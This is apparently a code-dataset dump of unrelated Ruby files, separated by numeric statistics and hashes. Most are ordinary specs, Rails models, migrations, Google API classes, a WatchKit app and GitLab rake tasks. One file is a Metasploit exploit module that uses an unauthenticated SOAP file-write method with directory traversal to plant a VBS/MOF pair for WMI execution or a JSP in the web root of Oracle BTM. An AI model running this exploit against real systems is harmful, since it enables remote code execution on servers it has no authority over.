# frozen_string_literal: true require 'spec_helper' describe RubyWarrior::Abilities::Walk do before(:each) do @space = stub(empty?: true, unit: nil) @position = stub(relative_space: @space, move: nil) @walk = RubyWarrior::Abilities::Walk.new(stub(position: @position, say: nil)) end it 'should move position forward when calling perform' do @position.expects(:move).with(1, 0) @walk.perform end it 'should move position right if that is direction' do @position.expects(:move).with(0, 1) @walk.perform(:right) end it 'should keep position if something is in the way' do @position.stubs(:move).raises("shouldn't be called") @space.stubs(:empty?).returns(false) expect(-> { @walk.perform(:right) }).not_to raise_error end end
28
81
0.688776
1a35bf7db2c83c65f1cd6a85b4faff03132704fa
373
class Incident::TypeIncident < ApplicationRecord self.table_name = "type_incidents" # Validações validates :name, presence: true # Associações has_many :incidents # Retorna um vetor contendo os nomes e seus respectivos IDs # # @return [Array] contendo nomes e seus IDs def self.get_all order('name asc').collect {|p| [ p.name, p.id ] } end end
21.941176
61
0.699732
7980ec25aec1e246a0910db16466826f5751ebde
10,090
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution', 'Description' => %q{ This module exploits abuses the FlashTunnelService SOAP web service on Oracle Business Transaction Management 12.1.0.7 to upload arbitrary files, without authentication, using the WriteToFile method. The same method contains a directory traversal vulnerability, which allows to upload the files to arbitrary locations. In order to execute remote code two techniques are provided. If the Oracle app has been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web root. If a new Domain has been used to deploy the Oracle application, the Windows Management Instrumentation service can be used to execute arbitrary code. Both techniques has been successfully tested on default installs of Oracle BTM 12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are provided, but the user can configure the traversal depth using the DEPTH option. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '85087' ], [ 'BID', '54839' ], [ 'EDB', '20318' ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Payload' => { 'DisableNops' => true, 'Space' => 2048, 'StackAdjustment' => -3500 }, 'Platform' => %w{ java win }, 'Targets' => [ [ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java', { 'Arch' => ARCH_JAVA, 'Depth' => 10 }, ], [ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'Depth' => 13 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 07 2012')) register_options( [ Opt::RPORT(7001), OptInt.new('DEPTH', [false, 'Traversal depth']) ], self.class) end def on_new_session(client) return if not @var_mof_name return if not @var_vbs_name if client.type != "meterpreter" print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.") return end # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") cmd = "C:\\windows\\system32\\attrib.exe -r " + "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" client.sys.process.execute(cmd, nil, {'Hidden' => true }) begin print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...") client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs") print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...") client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof") rescue ::Exception => e print_error("Exception: #{e.inspect}") end end def exploit peer = "#{rhost}:#{rport}" if target.name =~ /WMI/ # In order to save binary data to the file system the payload is written to a .vbs # file and execute it from there. @var_mof_name = rand_text_alpha(rand(5)+5) @var_vbs_name = rand_text_alpha(rand(5)+5) print_status("Encoding payload into vbs...") my_payload = generate_payload_exe vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload) print_status("Generating mof file...") mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs") if not datastore['DEPTH'] or datastore['DEPTH'] == 0 traversal = "..\\" * target['Depth'] else traversal = "..\\" * datastore['DEPTH'] end traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs" print_status("Uploading the VBS payload") soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" " soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">" soap_request << " <soapenv:Header/>" soap_request << " <soapenv:Body>" soap_request << " <int:writeToFileRequest>" soap_request << " <int:writeToFile handle=\"#{traversal}\">" soap_request << " <typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>" soap_request << " <typ:WriteToFileRequestVersion>" soap_request << " </typ:WriteToFileRequestVersion>" soap_request << " </int:writeToFile>" soap_request << " </int:writeToFileRequest>" soap_request << " </soapenv:Body>" soap_request << "</soapenv:Envelope>" res = send_request_cgi( { 'uri' => '/btmui/soa/flash_svc/', 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml;charset=UTF-8", 'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"", 'data' => soap_request, }, 5) if res and res.code == 200 and res.body =~ /writeToFileResponse/ print_status("VBS payload successfully uploaded") else print_error("Failed to upload the VBS payload") return end if not datastore['DEPTH'] or datastore['DEPTH'] == 0 traversal = "..\\" * target['Depth'] else traversal = "..\\" * datastore['DEPTH'] end traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof" soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" " soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">" soap_request << " <soapenv:Header/>" soap_request << " <soapenv:Body>" soap_request << " <int:writeToFileRequest>" soap_request << " <int:writeToFile handle=\"#{traversal}\">" soap_request << " <typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>" soap_request << " <typ:WriteToFileRequestVersion>" soap_request << " </typ:WriteToFileRequestVersion>" soap_request << " </int:writeToFile>" soap_request << " </int:writeToFileRequest>" soap_request << " </soapenv:Body>" soap_request << "</soapenv:Envelope>" print_status("Uploading the MOF file") res = send_request_cgi( { 'uri' => '/btmui/soa/flash_svc/', 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml;charset=UTF-8", 'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"", 'data' => soap_request, }, 5) if res and res.code == 200 and res.body =~ /writeToFileResponse/ print_status("MOF file successfully uploaded") else print_error("Failed to upload the MOF file") return end elsif target['Arch'] == ARCH_JAVA @jsp_name = rand_text_alpha(rand(5)+5) if not datastore['DEPTH'] or datastore['DEPTH'] == 0 traversal = "..\\" * target['Depth'] else traversal = "..\\" * datastore['DEPTH'] end traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp" print_status("Uploading the JSP payload") soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" " soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">" soap_request << " <soapenv:Header/>" soap_request << " <soapenv:Body>" soap_request << " <int:writeToFileRequest>" soap_request << " <int:writeToFile handle=\"#{traversal}\">" soap_request << " <typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>" soap_request << " <typ:WriteToFileRequestVersion>" soap_request << " </typ:WriteToFileRequestVersion>" soap_request << " </int:writeToFile>" soap_request << " </int:writeToFileRequest>" soap_request << " </soapenv:Body>" soap_request << "</soapenv:Envelope>" res = send_request_cgi( { 'uri' => '/btmui/soa/flash_svc/', 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml;charset=UTF-8", 'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"", 'data' => soap_request, }, 5) if res and res.code == 200 and res.body =~ /writeToFileResponse/ print_status("JSP payload successfully uploaded") else print_error("Failed to upload the JSP payload") return end print_status("Executing the uploaded JSP #{@jsp_name}.jsp ...") res = send_request_cgi( { 'uri' => "/#{@jsp_name}.jsp", 'version' => '1.1', 'method' => 'GET', }, 5) end end end
37.232472
184
0.585629
e2ecdb09523fbfc978577c62598baa5316a8bc09
11,336
# Copyright 2015 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'date' require 'google/apis/core/base_service' require 'google/apis/core/json_representation' require 'google/apis/core/hashable' require 'google/apis/errors' module Google module Apis module ServicebrokerV1 # Associates `members` with a `role`. class GoogleIamV1Binding include Google::Apis::Core::Hashable # Represents an expression text. Example: # title: "User account presence" # description: "Determines whether the request has a user account" # expression: "size(request.user) > 0" # Corresponds to the JSON property `condition` # @return [Google::Apis::ServicebrokerV1::GoogleTypeExpr] attr_accessor :condition # Specifies the identities requesting access for a Cloud Platform resource. # `members` can have the following values: # * `allUsers`: A special identifier that represents anyone who is # on the internet; with or without a Google account. # * `allAuthenticatedUsers`: A special identifier that represents anyone # who is authenticated with a Google account or a service account. # * `user:`emailid``: An email address that represents a specific Google # account. For example, `[email protected]` . # * `serviceAccount:`emailid``: An email address that represents a service # account. For example, `[email protected]`. # * `group:`emailid``: An email address that represents a Google group. # For example, `[email protected]`. # * `domain:`domain``: The G Suite domain (primary) that represents all the # users of that domain. For example, `google.com` or `example.com`. # Corresponds to the JSON property `members` # @return [Array<String>] attr_accessor :members # Role that is assigned to `members`. # For example, `roles/viewer`, `roles/editor`, or `roles/owner`. # Corresponds to the JSON property `role` # @return [String] attr_accessor :role def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @condition = args[:condition] if args.key?(:condition) @members = args[:members] if args.key?(:members) @role = args[:role] if args.key?(:role) end end # Defines an Identity and Access Management (IAM) policy. It is used to # specify access control policies for Cloud Platform resources. # A `Policy` consists of a list of `bindings`. A `binding` binds a list of # `members` to a `role`, where the members can be user accounts, Google groups, # Google domains, and service accounts. A `role` is a named list of permissions # defined by IAM. # **JSON Example** # ` # "bindings": [ # ` # "role": "roles/owner", # "members": [ # "user:[email protected]", # "group:[email protected]", # "domain:google.com", # "serviceAccount:[email protected]" # ] # `, # ` # "role": "roles/viewer", # "members": ["user:[email protected]"] # ` # ] # ` # **YAML Example** # bindings: # - members: # - user:[email protected] # - group:[email protected] # - domain:google.com # - serviceAccount:[email protected] # role: roles/owner # - members: # - user:[email protected] # role: roles/viewer # For a description of IAM and its features, see the # [IAM developer's guide](https://cloud.google.com/iam/docs). class GoogleIamV1Policy include Google::Apis::Core::Hashable # Associates a list of `members` to a `role`. # `bindings` with no members will result in an error. # Corresponds to the JSON property `bindings` # @return [Array<Google::Apis::ServicebrokerV1::GoogleIamV1Binding>] attr_accessor :bindings # `etag` is used for optimistic concurrency control as a way to help # prevent simultaneous updates of a policy from overwriting each other. # It is strongly suggested that systems make use of the `etag` in the # read-modify-write cycle to perform policy updates in order to avoid race # conditions: An `etag` is returned in the response to `getIamPolicy`, and # systems are expected to put that etag in the request to `setIamPolicy` to # ensure that their change will be applied to the same version of the policy. # If no `etag` is provided in the call to `setIamPolicy`, then the existing # policy is overwritten blindly. # Corresponds to the JSON property `etag` # NOTE: Values are automatically base64 encoded/decoded in the client library. # @return [String] attr_accessor :etag # Deprecated. # Corresponds to the JSON property `version` # @return [Fixnum] attr_accessor :version def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @bindings = args[:bindings] if args.key?(:bindings) @etag = args[:etag] if args.key?(:etag) @version = args[:version] if args.key?(:version) end end # Request message for `SetIamPolicy` method. class GoogleIamV1SetIamPolicyRequest include Google::Apis::Core::Hashable # Defines an Identity and Access Management (IAM) policy. It is used to # specify access control policies for Cloud Platform resources. # A `Policy` consists of a list of `bindings`. A `binding` binds a list of # `members` to a `role`, where the members can be user accounts, Google groups, # Google domains, and service accounts. A `role` is a named list of permissions # defined by IAM. # **JSON Example** # ` # "bindings": [ # ` # "role": "roles/owner", # "members": [ # "user:[email protected]", # "group:[email protected]", # "domain:google.com", # "serviceAccount:[email protected]" # ] # `, # ` # "role": "roles/viewer", # "members": ["user:[email protected]"] # ` # ] # ` # **YAML Example** # bindings: # - members: # - user:[email protected] # - group:[email protected] # - domain:google.com # - serviceAccount:[email protected] # role: roles/owner # - members: # - user:[email protected] # role: roles/viewer # For a description of IAM and its features, see the # [IAM developer's guide](https://cloud.google.com/iam/docs). # Corresponds to the JSON property `policy` # @return [Google::Apis::ServicebrokerV1::GoogleIamV1Policy] attr_accessor :policy def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @policy = args[:policy] if args.key?(:policy) end end # Request message for `TestIamPermissions` method. class GoogleIamV1TestIamPermissionsRequest include Google::Apis::Core::Hashable # The set of permissions to check for the `resource`. Permissions with # wildcards (such as '*' or 'storage.*') are not allowed. For more # information see # [IAM Overview](https://cloud.google.com/iam/docs/overview#permissions). # Corresponds to the JSON property `permissions` # @return [Array<String>] attr_accessor :permissions def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @permissions = args[:permissions] if args.key?(:permissions) end end # Response message for `TestIamPermissions` method. class GoogleIamV1TestIamPermissionsResponse include Google::Apis::Core::Hashable # A subset of `TestPermissionsRequest.permissions` that the caller is # allowed. # Corresponds to the JSON property `permissions` # @return [Array<String>] attr_accessor :permissions def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @permissions = args[:permissions] if args.key?(:permissions) end end # Represents an expression text. Example: # title: "User account presence" # description: "Determines whether the request has a user account" # expression: "size(request.user) > 0" class GoogleTypeExpr include Google::Apis::Core::Hashable # An optional description of the expression. This is a longer text which # describes the expression, e.g. when hovered over it in a UI. # Corresponds to the JSON property `description` # @return [String] attr_accessor :description # Textual representation of an expression in # Common Expression Language syntax. # The application context of the containing message determines which # well-known feature set of CEL is supported. # Corresponds to the JSON property `expression` # @return [String] attr_accessor :expression # An optional string indicating the location of the expression for error # reporting, e.g. a file name and a position in the file. # Corresponds to the JSON property `location` # @return [String] attr_accessor :location # An optional title for the expression, i.e. a short string describing # its purpose. This can be used e.g. in UIs which allow to enter the # expression. # Corresponds to the JSON property `title` # @return [String] attr_accessor :title def initialize(**args) update!(**args) end # Update properties of this object def update!(**args) @description = args[:description] if args.key?(:description) @expression = args[:expression] if args.key?(:expression) @location = args[:location] if args.key?(:location) @title = args[:title] if args.key?(:title) end end end end end
38.297297
87
0.609915
9176cc704e449fb4a558474327477fac5f9eebf6
181
class AddDateToPieceReleases < ActiveRecord::Migration[4.2] def change add_column :piece_releases, :date, :date add_column :piece_releases, :date_mask, :integer end end
25.857143
59
0.756906
5d958c552bcf0cf578ce3050b60d484ba1dd2436
1,498
require "spec_helper" require "generators/administrate/views/new_generator" require "support/generator_spec_helpers" describe Administrate::Generators::Views::NewGenerator, :generator do describe "administrate:views:new" do it "copies the new template into the `admin/application` namespace" do expected_contents = contents_for_application_template("new") run_generator [] contents = File.read(file("app/views/admin/application/new.html.erb")) expect(contents).to eq(expected_contents) end it "copies the form partial into the `admin/application` namespace" do expected_contents = contents_for_application_template("_form") run_generator [] contents = File.read(file("app/views/admin/application/_form.html.erb")) expect(contents).to eq(expected_contents) end end describe "administrate:views:new resource" do it "copies the new template into the `admin/resource` namespace" do expected_contents = contents_for_application_template("new") run_generator ["users"] contents = File.read(file("app/views/admin/users/new.html.erb")) expect(contents).to eq(expected_contents) end it "copies the form partial into the `admin/resource` namespace" do expected_contents = contents_for_application_template("_form") run_generator ["users"] contents = File.read(file("app/views/admin/users/_form.html.erb")) expect(contents).to eq(expected_contents) end end end
32.565217
78
0.728972
03529ad8ff855e6dcaf92f47c1ab7bb40e6f52ac
1,600
# spec/Dockerfile_spec.rb require_relative "spec_helper" describe "Dockerfile" do before(:all) do load_docker_image() set :os, family: :debian end describe "Dockerfile#running" do it "runs the right version of Debian" do expect(os_version).to include("Debian") expect(os_version).to include("GNU/Linux 9") end it "runs as root user" do expect(sys_user).to eql("root") end end it "installs required packages" do expect(package("openjdk-11-jdk-headless")).to be_installed end describe command("java --version") do its(:exit_status) { should eq 0 } its(:stdout) { should match(/11(.*)/) } end describe command("javac --version") do its(:exit_status) { should eq 0 } its(:stdout) { should match(/11(.*)/) } end describe command("jshell --version") do its(:exit_status) { should eq 0 } its(:stdout) { should match(/11(.*)/) } end describe command('bash -l -c "echo $JAVA_HOME"') do its(:exit_status) { should eq 0 } its(:stdout) { should match("/usr/local/openjdk-11") } end describe command('bash -c "ls -lah $JAVA_HOME"') do its(:exit_status) { should eq 0 } its(:stdout) { should match("/usr/local/openjdk-11 ->") } end describe command('bash -c "ls $JAVA_HOME"') do its(:exit_status) { should eq 0 } its(:stdout) { should match("bin") } its(:stdout) { should match("conf") } its(:stdout) { should match("include") } its(:stdout) { should match("legal") } its(:stdout) { should match("lib") } its(:stdout) { should match("release") } end end
26.666667
62
0.629375
1cea153e0a97918555f9e6bcb7efdca2a7dbb54b
1,099
# == Schema Information # # Table name: favorite_friendships # # id :bigint(8) not null, primary key # from_uid :bigint(8) not null # friend_uid :bigint(8) not null # sequence :integer not null # # Indexes # # index_favorite_friendships_on_friend_uid (friend_uid) # index_favorite_friendships_on_from_uid (from_uid) # class FavoriteFriendship < ApplicationRecord include Concerns::Friendship::Importable with_options(primary_key: :uid, optional: true) do |obj| obj.belongs_to :twitter_user, foreign_key: :from_uid obj.belongs_to :favorite_friend, foreign_key: :friend_uid, class_name: 'TwitterDB::User' end class << self def import_by!(twitter_user:) uids = twitter_user.calc_favorite_friend_uids import_from!(twitter_user.uid, uids) uids end def import_by(twitter_user:) import_by!(twitter_user: twitter_user) rescue => e logger.warn "#{__method__} #{e.class} #{e.message.truncate(100)} #{twitter_user.inspect}" logger.info e.backtrace.join("\n") [] end end end
27.475
95
0.685168
0379de6cf76e0c146937d5b720944f15235cace7
3,235
class Tracker URL = NSURL.URLWithString("https://api.bitcoinaverage.com/ticker/USD") def self.dateFormatter @dateFormatter ||= NSDateFormatter.new.tap { |df| df.dateFormat = 'HH:mm' } end def self.priceFormatter @priceFormatter ||= begin formatter = NSNumberFormatter.new formatter.currencyCode = 'USD' formatter.numberStyle = NSNumberFormatterCurrencyStyle formatter end end def initialize config = NSURLSessionConfiguration.defaultSessionConfiguration @session = NSURLSession.sessionWithConfiguration(config) end def defaults NSUserDefaults.standardUserDefaults end def cachedDate defaults['date'] || NSDate.date end def cachedPrice defaults['price'] || 0 end def requestPrice(&completionBlock) request = NSURLRequest.requestWithURL(URL) task = @session.dataTaskWithRequest(request, completionHandler:lambda { |data, response, error| if error.nil? jsonError = Pointer.new(:object) responseDict = NSJSONSerialization.JSONObjectWithData(data, options:0, error:jsonError) if jsonError[0].nil? price = responseDict['24h_avg'] defaults['price'] = price defaults['date'] = NSDate.date defaults.synchronize Dispatch::Queue.main.async do completionBlock.call(price, nil) end else Dispatch::Queue.main.async do completionBlock.call(nil, jsonError[0]) end end else Dispatch::Queue.main.async do completionBlock.call(nil, error) end end }) task.resume end end class InterfaceController < WKInterfaceController extend IB outlet :priceLabel, WKInterfaceLabel outlet :lastUpdatedLabel, WKInterfaceLabel outlet :image, WKInterfaceImage def initWithContext(context) if super @image.hidden = true @tracker = Tracker.new updatePrice(@tracker.cachedPrice) updateDate(@tracker.cachedDate) self end end def willActivate update end def refreshTapped(sender) update end def update unless @updating @updating = true originalPrice = @tracker.cachedPrice @tracker.requestPrice do |newPrice, error| if error.nil? updatePrice(newPrice) updateDate(NSDate.date) updateImage(originalPrice, newPrice) end @updating = false end end end def updatePrice(price) @priceLabel.text = Tracker.priceFormatter.stringFromNumber(price) end def updateDate(date) formattedDate = Tracker.dateFormatter.stringFromDate(date) @lastUpdatedLabel.text = "Last Updated #{formattedDate}" end def updateImage(originalPrice, newPrice) # Normally one shouldn’t compare floats directly, but it works for this # contrived example. if originalPrice == newPrice @image.hidden = true else if newPrice > originalPrice @image.imageNamed = 'Up' else @image.imageNamed = 'Down' end @image.hidden = false end end end
24.884615
79
0.637713
7a89c5313d78eee872fb190033515f543e61e69e
7,540
namespace :gitlab do namespace :db do desc 'GitLab | DB | Manually insert schema migration version' task :mark_migration_complete, [:version] => :environment do |_, args| unless args[:version] puts "Must specify a migration version as an argument".color(:red) exit 1 end version = args[:version].to_i if version == 0 puts "Version '#{args[:version]}' must be a non-zero integer".color(:red) exit 1 end sql = "INSERT INTO schema_migrations (version) VALUES (#{version})" begin ActiveRecord::Base.connection.execute(sql) puts "Successfully marked '#{version}' as complete".color(:green) rescue ActiveRecord::RecordNotUnique puts "Migration version '#{version}' is already marked complete".color(:yellow) end end desc 'GitLab | DB | Drop all tables' task drop_tables: :environment do connection = ActiveRecord::Base.connection # In PostgreSQLAdapter, data_sources returns both views and tables, so use # #tables instead tables = connection.tables # Removes the entry from the array tables.delete 'schema_migrations' # Truncate schema_migrations to ensure migrations re-run connection.execute('TRUNCATE schema_migrations') if connection.table_exists? 'schema_migrations' # Drop tables with cascade to avoid dependent table errors # PG: http://www.postgresql.org/docs/current/static/ddl-depend.html # Add `IF EXISTS` because cascade could have already deleted a table. tables.each { |t| connection.execute("DROP TABLE IF EXISTS #{connection.quote_table_name(t)} CASCADE") } # Drop all extra schema objects GitLab owns Gitlab::Database::EXTRA_SCHEMAS.each do |schema| connection.execute("DROP SCHEMA IF EXISTS #{connection.quote_table_name(schema)}") end end desc 'GitLab | DB | Configures the database by running migrate, or by loading the schema and seeding if needed' task configure: :environment do # Check if we have existing db tables # The schema_migrations table will still exist if drop_tables was called if ActiveRecord::Base.connection.tables.count > 1 Rake::Task['db:migrate'].invoke else # Add post-migrate paths to ensure we mark all migrations as up Gitlab::Database.add_post_migrate_path_to_rails(force: true) Rake::Task['db:structure:load'].invoke Rake::Task['db:seed_fu'].invoke end end desc 'GitLab | DB | Checks if migrations require downtime or not' task :downtime_check, [:ref] => :environment do |_, args| abort 'You must specify a Git reference to compare with' unless args[:ref] require 'shellwords' ref = Shellwords.escape(args[:ref]) migrations = `git diff #{ref}.. --diff-filter=A --name-only -- db/migrate`.lines .map { |file| Rails.root.join(file.strip).to_s } .select { |file| File.file?(file) } .select { |file| /\A[0-9]+.*\.rb\z/ =~ File.basename(file) } Gitlab::DowntimeCheck.new.check_and_print(migrations) end desc 'GitLab | DB | Sets up EE specific database functionality' if Gitlab.ee? task setup_ee: %w[geo:db:drop geo:db:create geo:db:schema:load geo:db:migrate] else task :setup_ee end desc 'This adjusts and cleans db/structure.sql - it runs after db:structure:dump' task :clean_structure_sql do |task_name| structure_file = 'db/structure.sql' schema = File.read(structure_file) File.open(structure_file, 'wb+') do |io| Gitlab::Database::SchemaCleaner.new(schema).clean(io) end # Allow this task to be called multiple times, as happens when running db:migrate:redo Rake::Task[task_name].reenable end desc 'This dumps GitLab specific database details - it runs after db:structure:dump' task :dump_custom_structure do |task_name| Gitlab::Database::CustomStructure.new.dump # Allow this task to be called multiple times, as happens when running db:migrate:redo Rake::Task[task_name].reenable end desc 'This loads GitLab specific database details - runs after db:structure:dump' task :load_custom_structure do configuration = Rails.application.config_for(:database) ENV['PGHOST'] = configuration['host'] if configuration['host'] ENV['PGPORT'] = configuration['port'].to_s if configuration['port'] ENV['PGPASSWORD'] = configuration['password'].to_s if configuration['password'] ENV['PGUSER'] = configuration['username'].to_s if configuration['username'] command = 'psql' dump_filepath = Gitlab::Database::CustomStructure.custom_dump_filepath.to_path args = ['-v', 'ON_ERROR_STOP=1', '-q', '-X', '-f', dump_filepath, configuration['database']] unless Kernel.system(command, *args) raise "failed to execute:\n#{command} #{args.join(' ')}\n\n" \ "Please ensure `#{command}` is installed in your PATH and has proper permissions.\n\n" end end # Inform Rake that custom tasks should be run every time rake db:structure:dump is run Rake::Task['db:structure:dump'].enhance do Rake::Task['gitlab:db:clean_structure_sql'].invoke Rake::Task['gitlab:db:dump_custom_structure'].invoke end # Inform Rake that custom tasks should be run every time rake db:structure:load is run Rake::Task['db:structure:load'].enhance do Rake::Task['gitlab:db:load_custom_structure'].invoke end desc 'Create missing dynamic database partitions' task :create_dynamic_partitions do Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions end # This is targeted towards deploys and upgrades of GitLab. # Since we're running migrations already at this time, # we also check and create partitions as needed here. Rake::Task['db:migrate'].enhance do Rake::Task['gitlab:db:create_dynamic_partitions'].invoke end # When we load the database schema from db/structure.sql # we don't have any dynamic partitions created. We don't really need to # because application initializers/sidekiq take care of that, too. # However, the presence of partitions for a table has influence on their # position in db/structure.sql (which is topologically sorted). # # Other than that it's helpful to create partitions early when bootstrapping # a new installation. Rake::Task['db:structure:load'].enhance do Rake::Task['gitlab:db:create_dynamic_partitions'].invoke end # During testing, db:test:load restores the database schema from scratch # which does not include dynamic partitions. We cannot rely on application # initializers here as the application can continue to run while # a rake task reloads the database schema. Rake::Task['db:test:load'].enhance do Rake::Task['gitlab:db:create_dynamic_partitions'].invoke end desc 'reindex a regular (non-unique) index without downtime to eliminate bloat' task :reindex, [:index_name] => :environment do |_, args| unless Feature.enabled?(:database_reindexing, type: :ops) puts "This feature (database_reindexing) is currently disabled.".yellow exit end raise ArgumentError, 'must give the index name to reindex' unless args[:index_name] Gitlab::Database::ConcurrentReindex.new(args[:index_name], logger: Logger.new(STDOUT)).perform end end end
41.202186
115
0.687135
d5bc28732d565e50dc0fdef9dee2f2cf1684a3a1
2,553
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false # Do not eager load code on boot. config.eager_load = false # Show full error reports. config.consider_all_requests_local = true # Enable/disable caching. By default caching is disabled. # Run rails dev:cache to toggle caching. if Rails.root.join('tmp', 'caching-dev.txt').exist? config.action_controller.perform_caching = true config.cache_store = :memory_store config.public_file_server.headers = { 'Cache-Control' => "public, max-age=#{2.days.to_i}" } else config.action_controller.perform_caching = false config.cache_store = :null_store end config.active_job.queue_adapter = :resque config.active_job.queue_name_prefix = "PLM-Web_#{Rails.env}" # Store uploaded files on the local file system (see config/storage.yml for options) config.active_storage.service = :local # Don't care if the mailer can't send. config.action_mailer.raise_delivery_errors = true config.action_mailer.perform_caching = false config.action_mailer.default_url_options = { host: ENV['HOSTNAME'] } config.action_mailer.delivery_method = :mailgun config.action_mailer.mailgun_settings = { domain: ENV['MAIL_DOMAIN'], api_key: ENV['MAIL_API_KEY'], api_host: ENV['MAIL_API_HOST'] } # Print deprecation notices to the Rails logger. config.active_support.deprecation = :log # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load # Highlight code that triggered database queries in logs. config.active_record.verbose_query_logs = true # Debug mode disables concatenation and preprocessing of assets. # This option may cause significant delays in view rendering with a large # number of complex assets. config.assets.debug = true # Suppress logger output for asset requests. config.assets.quiet = true # Raises error for missing translations # config.action_view.raise_on_missing_translations = true # Use an evented file watcher to asynchronously detect changes in source code, # routes, locales, etc. This feature depends on the listen gem. config.file_watcher = ActiveSupport::EventedFileUpdateChecker end
35.458333
86
0.75754
03912d2037483bf12d620771cda5e67924e963e7
192
class AddPasswordTokenToUser < ActiveRecord::Migration[6.0] def change add_column :users, :password_reset_token, :string add_column :users, :password_reset_date, :datetime end end
27.428571
59
0.770833